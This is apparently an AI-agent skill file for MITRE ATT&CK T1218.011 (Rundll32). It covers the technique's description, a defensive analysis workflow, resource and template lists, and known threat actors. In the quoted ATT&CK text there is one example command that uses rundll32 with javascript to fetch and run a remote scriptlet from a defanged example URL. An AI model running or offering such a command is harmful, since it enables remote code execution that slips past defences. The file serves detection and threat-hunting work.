Attack Ent T1218 011 Rundll32

MITRE ATT&CK T1218.011: Rundll32

When to use this skill

Use this skill when the task involves T1218.011, Rundll32, enterprise ATT&CK, TTP mapping, detection engineering, hunting, incident-response enrichment, control validation, or authorized adversary-emulation planning. Treat it as a defensive analysis aid: keep outputs focused on understanding, detecting, mitigating, and safely validating this ATT&CK sub-technique.

Technique context

• ATT&CK domain: enterprise
• ATT&CK ID: T1218.011
• Technique name: Rundll32
• Type: sub-technique
• ATT&CK URL: https://attack.mitre.org/techniques/T1218/011
• Tactics: stealth
• Platforms: Windows
• Required permissions: Not specified
• Effective permissions: Not specified
• Defenses bypassed: Not specified

ATT&CK description

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, ClickOnce can be proxied through Rundll32.exe.

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion)

Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

Agent workflow

1. Clarify scope: identify the system, asset class, log sources, cloud or endpoint platform, and whether the user wants triage, detection, coverage assessment, or safe emulation planning.
2. Load bundled resources as needed: use references/technique-profile.json for structured metadata, references/detection-and-mitigation.md for triage and telemetry guidance, references/known-threat-context.md for ATT&CK relationship context, and templates/ for repeatable outputs.
3. Map observations to ATT&CK: compare the user's evidence to the ATT&CK description, tactics, platforms, and known procedure patterns before asserting a match.
4. Produce defensive outputs: prioritize hypotheses, telemetry requirements, detection logic ideas, validation steps, containment guidance, and mitigations.
5. Preserve uncertainty: distinguish confirmed evidence, plausible indicators, assumptions, and gaps. Recommend what to collect next.
6. Stay safe: do not provide malware, credential theft, persistence, evasion, destructive automation, or unauthorized exploitation instructions. For adversary emulation, keep steps bounded to approved lab or control-validation contexts and omit operational abuse details.

Bundled resources

• references/technique-profile.json: machine-readable ATT&CK metadata for this technique.
• references/detection-and-mitigation.md: detection notes, telemetry checklist, triage questions, mitigation candidates, and false-positive considerations.
• references/known-threat-context.md: ATT&CK relationship context with attribution cautions.
• templates/detection-brief.md: detection engineering brief template.
• templates/hunt-plan.md: threat hunt plan template.
• templates/incident-response-note.md: incident response note template.
• templates/coverage-assessment.md: ATT&CK coverage assessment template.
• scripts/render_brief.py: local helper that renders a Markdown defensive brief from technique-profile.json.
• assets/output-schema.json: JSON schema for structured technique analysis outputs.

To generate a quick brief, run python scripts/render_brief.py --output brief.md from inside this skill directory, or adapt the templates directly.

Detection guidance

No ATT&CK detection guidance was present in the source STIX object.

Useful telemetry and data sources

• Not specified in the STIX object.

Mitigations to consider

• Exploit Protection

Known threat context

Use these examples only as contextual leads, not as proof that an observed event is this technique:

• 2015 Ukraine Electric Power Attack (campaign)
• ADVSTORESHELL (malware)
• APT19 (intrusion-set)
• APT28 (intrusion-set)
• APT3 (intrusion-set)
• APT32 (intrusion-set)
• APT38 (intrusion-set)
• APT41 (intrusion-set)
• Aquatic Panda (intrusion-set)
• Attor (malware)
• BLINDINGCAN (malware)
• Backdoor.Oldrea (malware)
• Bad Rabbit (malware)
• Bisonal (malware)
• Blue Mockingbird (intrusion-set)
• BoomBox (malware)
• Briba (malware)
• Bumblebee (malware)
• C0015 (campaign)
• C0018 (campaign)

Recommended output pattern

When responding with this skill, structure the answer as:

• Assessment: whether the evidence supports this ATT&CK mapping and why.
• Evidence: specific indicators, logs, behaviors, and assumptions.
• Detection: telemetry sources, analytic logic, and tuning considerations.
• Response: containment, eradication, recovery, and validation actions.
• Coverage gaps: missing logs, sensors, controls, or environmental details.
• References: include the ATT&CK URL and any user-provided evidence references.

ATT&CK contributors

• Amir Hossein Vafifar
• Casey Smith
• Gareth Phillips, Seek Ltd.
• James_inthe_box, Me
• Ricardo Dias